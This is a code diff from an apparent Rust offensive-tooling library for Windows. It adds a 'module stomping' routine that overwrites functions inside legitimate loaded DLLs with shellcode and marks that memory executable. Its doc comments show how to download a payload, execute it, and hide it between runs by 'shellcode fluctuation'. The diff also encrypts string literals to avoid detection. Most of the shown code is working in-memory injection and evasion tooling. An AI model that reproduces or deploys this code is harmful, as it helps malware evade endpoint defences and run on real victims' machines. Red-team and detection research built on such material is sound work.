@@ -161,7 +206,7 @@ pub fn get_pe_metadata (module_ptr: *const u8) -> Result<PeMetadata,String>
|
||||
else if pe_arch == 0x020B
|
||||
{
|
||||
pe_metadata.is_32_bit = false;
|
||||
let opt_header_content: *const IMAGE_OPTIONAL_HEADER64 = std::mem::transmute(opt_header);
|
||||
let opt_header_content: *const ImageOptionalHeader64 = std::mem::transmute(opt_header);
|
||||
pe_metadata.opt_header_64 = *opt_header_content;
|
||||
}
|
||||
else
|
||||
@@ -396,21 +441,6 @@ pub fn rewrite_module_iat(pe_info: &PeMetadata, image_ptr: *mut c_void) -> Resul
|
||||
{
|
||||
return Err(lc!("[x] Unable to find the specified module: {}", dll_name));
|
||||
}
|
||||
/*let to_map = lc!("C:\\windows\\system32\\").to_string() + &dll_name;
|
||||
let mapped = read_and_map_module(&to_map)?;
|
||||
if mapped.1 == 0
|
||||
{
|
||||
module_handle = dinvoke::load_library_a(&dll_name) as usize;
|
||||
|
||||
if module_handle == 0
|
||||
{
|
||||
return Err(lc!("[x] Unable to find the specified module: {}", dll_name));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
module_handle = mapped.1 as usize;
|
||||
}*/
|
||||
}
|
||||
|
||||
if pe_info.is_32_bit
|
||||
|
||||
+2
-2
@@ -11,9 +11,9 @@ strip = true
|
||||
dinvoke = { path = "../dinvoke" }
|
||||
data = { path = "../data" }
|
||||
manualmap = { path = "../manualmap" }
|
||||
litcrypt2 = "0.1.0"
|
||||
litcrypt2 = "0.1.2"
|
||||
winproc = "0.6.4"
|
||||
rand = "0.8.4"
|
||||
nanorand = "0.7.0"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.51"
|
||||
|
||||
+244
-10
@@ -2,11 +2,84 @@
|
||||
extern crate litcrypt2;
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{env, fs, path::Path};
|
||||
use std::{env, fs, path::Path, ptr, ffi::c_void};
|
||||
use nanorand::{WyRand, Rng};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use data::{PeMetadata, PVOID, PAGE_READWRITE, PeManualMap};
|
||||
use data::{PeMetadata, PVOID, PAGE_READWRITE, PeManualMap, PAGE_EXECUTE_READ};
|
||||
use winproc::Process;
|
||||
use rand::Rng;
|
||||
|
||||
fn find_suitable_module(function_size: u32) -> isize
|
||||
{
|
||||
let process = Process::current();
|
||||
let modules = process.module_list().unwrap();
|
||||
let mut suitable_text_sections: Vec<isize> = vec![];
|
||||
for m in modules
|
||||
{
|
||||
let module_base_address = m.handle() as isize;
|
||||
let offset = is_suitable(function_size, module_base_address);
|
||||
if offset != 0 && !m.name().unwrap().contains(".exe")
|
||||
{
|
||||
return module_base_address + offset as isize;
|
||||
}
|
||||
|
||||
let module_metadata = manualmap::get_pe_metadata(module_base_address as *const u8);
|
||||
if module_metadata.is_ok()
|
||||
{
|
||||
let pe_metadata = module_metadata.unwrap();
|
||||
for section in pe_metadata.sections
|
||||
{
|
||||
let s = std::str::from_utf8(§ion.Name).unwrap();
|
||||
if s.contains(".text")
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
if section.Misc.VirtualSize > function_size
|
||||
{
|
||||
suitable_text_sections.push(module_base_address);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if suitable_text_sections.len() > 0
|
||||
{
|
||||
return suitable_text_sections[0];
|
||||
}
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
fn is_suitable(function_size: u32, module_base_address: isize) -> u32
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let exception_directory = manualmap::get_runtime_table(module_base_address as *mut _);
|
||||
let mut rt = exception_directory.0;
|
||||
if rt == ptr::null_mut()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
let items = exception_directory.1 / 12;
|
||||
let mut count = 0;
|
||||
while count < items
|
||||
{
|
||||
let runtime_function = *rt;
|
||||
let size = runtime_function.end_addr - runtime_function.begin_addr;
|
||||
if size > function_size
|
||||
{
|
||||
return runtime_function.begin_addr;
|
||||
}
|
||||
|
||||
rt = rt.add(1);
|
||||
count += 1;
|
||||
}
|
||||
}
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
/// Locate a legitimate module of certain minimun size.
|
||||
///
|
||||
@@ -50,10 +123,10 @@ pub fn find_decoy_module (min_size: i64) -> String
|
||||
files.remove(r as usize);
|
||||
}
|
||||
|
||||
let mut rng = rand::thread_rng();
|
||||
let mut rng = WyRand::new();
|
||||
while files.len() > 0
|
||||
{
|
||||
let r = rng.gen_range(0..files.len());
|
||||
let r = rng.generate_range(0..files.len());
|
||||
let path = format!("{}\\{}\\{}",env::var("WINDIR").unwrap(), "System32", &files[r]);
|
||||
let size = fs::metadata(&path).unwrap().len() as i64;
|
||||
if size > (min_size * 2)
|
||||
@@ -84,7 +157,7 @@ pub fn find_decoy_module (min_size: i64) -> String
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("Error ocurred: {}", e),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn read_and_overload(payload_path: &str, decoy_module_path: &str) -> Result<(PeMetadata,isize), String>
|
||||
@@ -119,7 +192,7 @@ pub fn read_and_overload(payload_path: &str, decoy_module_path: &str) -> Result<
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("Error ocurred: {}", e),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn overload_module (file_content: Vec<u8>, decoy_module_path: &str) -> Result<(PeMetadata,isize), String>
|
||||
@@ -172,7 +245,7 @@ pub fn overload_module (file_content: Vec<u8>, decoy_module_path: &str) -> Resul
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("Error ocurred: {}", e),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn overload_to_section (file_content: Vec<u8>, section_metadata: PeManualMap) -> Result<(PeMetadata,isize), String>
|
||||
@@ -233,7 +306,7 @@ pub fn overload_to_section (file_content: Vec<u8>, section_metadata: PeManualMap
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("Error ocurred: {}", e),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn managed_read_and_overload (payload_path: &str, decoy_module_path: &str) -> Result<((Vec<u8>,Vec<u8>),isize), String>
|
||||
@@ -268,7 +341,7 @@ pub fn managed_read_and_overload (payload_path: &str, decoy_module_path: &str) -
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("Error ocurred: {}", e),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn managed_overload_module (file_content: Vec<u8>, decoy_module_path: &str) -> Result<(Vec<u8>,isize), String>
|
||||
@@ -305,3 +378,164 @@ pub fn managed_overload_module (file_content: Vec<u8>, decoy_module_path: &str)
|
||||
|
||||
Ok((decoy_content, result.1))
|
||||
}
|
||||
|
||||
/// Stomp a shellcode on a loaded module.
|
||||
/// The first parameter of this function is the shellcode's content. The next two parameters modify the behaviour of the function.
|
||||
///
|
||||
/// The stomp_address parameter can be used to indicate where the shellcode should be written to. If this parameter is non zero, the function
|
||||
/// will try to stomp the shellcode in that particular address.
|
||||
/// The module_base_address parameter can be used to point to the memory base address of a dll where this function should look for a suitable spot
|
||||
/// to stomp the shellcode to. If this parameter is non zero, the function will try to locate a big enough function inside that specific dll to stomp the shellcode to it.
|
||||
///
|
||||
/// If stomp_address and module_base_address are both zero the function will iterate over all loaded module and will try to find a suitable region to stomp the shellcode to it.
|
||||
///
|
||||
/// This function returns either a pair (Vec<u8>,i64) containing the legitimate content of the region where the shellcode has been stomped to and the address where it has been written to or a string
|
||||
/// with a descriptive error message.
|
||||
///
|
||||
/// # Examples
|
||||
/// ## Stomp the shellcode on a specific address
|
||||
///
|
||||
/// ```
|
||||
/// let payload_content = download_function();
|
||||
/// let my_dll = dinvoke::load_library_a("somedll.dll");
|
||||
/// let my_big_enough_function = dinvoke::get_function_address(my_dll, "my_function");
|
||||
/// let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
///
|
||||
/// ## Look for a suitable function inside a specific dll and stomp the shellcode there
|
||||
///
|
||||
/// ```
|
||||
/// let payload_content = download_function();
|
||||
/// let my_dll = dinvoke::load_library_a("somedll.dll");
|
||||
/// let module = overload::managed_module_stomping(&payload_content, 0, my_dll);
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
///
|
||||
/// ## Look for a suitable function inside any loaded dll and stomp the shellcode there
|
||||
///
|
||||
/// ```
|
||||
/// let payload_content = download_function();
|
||||
/// let module = overload::managed_module_stomping(&payload_content, 0, 0);
|
||||
///
|
||||
/// match module {
|
||||
/// Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
///
|
||||
/// ## Module stomping + shellcode fluctuation
|
||||
///
|
||||
/// ```
|
||||
/// let payload_content = download_function();
|
||||
/// let my_dll = dinvoke::load_library_a("somedll.dll");
|
||||
/// let overload = overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
|
||||
/// let mut manager = dmanager::Manager::new();
|
||||
/// let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
|
||||
/// let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
|
||||
/// ...
|
||||
/// let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
|
||||
/// let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
|
||||
/// run();
|
||||
/// let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
|
||||
/// ```
|
||||
pub fn managed_module_stomping(payload_content: &Vec<u8>, mut stomp_address: isize, module_base_address: isize) -> Result<(Vec<u8>,isize), String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let process_handle = HANDLE(-1);
|
||||
let size = payload_content.len() as u32;
|
||||
if size == 0
|
||||
{
|
||||
return Err(lc!("[x] Invalid payload."));
|
||||
}
|
||||
|
||||
if stomp_address == 0
|
||||
{
|
||||
if module_base_address != 0
|
||||
{
|
||||
let offset = is_suitable(size, module_base_address);
|
||||
if offset != 0
|
||||
{
|
||||
stomp_address = module_base_address + offset as isize;
|
||||
}
|
||||
else
|
||||
{
|
||||
return Err(lc!("[x] The selected module is not valid to stomp the payload."));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
stomp_address = find_suitable_module(size);
|
||||
}
|
||||
|
||||
if stomp_address == 0
|
||||
{
|
||||
return Err(lc!("[x] Failed to find suitable module to stomp to."));
|
||||
}
|
||||
}
|
||||
|
||||
let stomp_address_clone = stomp_address;
|
||||
let real_content = vec![0u8;size as usize];
|
||||
let buffer = std::mem::transmute(real_content.as_ptr());
|
||||
let written = usize::default();
|
||||
let bytes_written: *mut usize = std::mem::transmute(&written);
|
||||
let ret = dinvoke::nt_read_virtual_memory(
|
||||
process_handle,
|
||||
stomp_address_clone as *mut _,
|
||||
buffer,
|
||||
size as usize,
|
||||
bytes_written
|
||||
);
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
return Err(lc!("[x] Memory read failed."));
|
||||
}
|
||||
|
||||
let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
|
||||
let s = size as usize;
|
||||
let s: *mut usize = std::mem::transmute(&s);
|
||||
let o = u32::default();
|
||||
let old_protection: *mut u32 = std::mem::transmute(&o);
|
||||
let ret = dinvoke::nt_protect_virtual_memory(process_handle, base_address, s, PAGE_READWRITE, old_protection);
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
return Err(lc!("[x] Error changing memory permissions."));
|
||||
}
|
||||
|
||||
let buffer: *mut c_void = std::mem::transmute(payload_content.as_ptr());
|
||||
let written: usize = 0;
|
||||
let bytes_written: *mut usize = std::mem::transmute(&written);
|
||||
let ret_write = dinvoke::nt_write_virtual_memory(process_handle, stomp_address as *mut _, buffer, size as usize, bytes_written);
|
||||
|
||||
let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
|
||||
let s = size as usize;
|
||||
let s: *mut usize = std::mem::transmute(&s);
|
||||
let o = u32::default();
|
||||
let old_protection: *mut u32 = std::mem::transmute(&o);
|
||||
let ret = dinvoke::nt_protect_virtual_memory(process_handle, base_address, s, PAGE_EXECUTE_READ, old_protection);
|
||||
|
||||
if ret_write != 0
|
||||
{
|
||||
return Err(lc!("[x] Payload writing failed."));
|
||||
}
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
return Err(lc!("[x] Could not restore memory permissions."));
|
||||
}
|
||||
|
||||
Ok((real_content,stomp_address))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user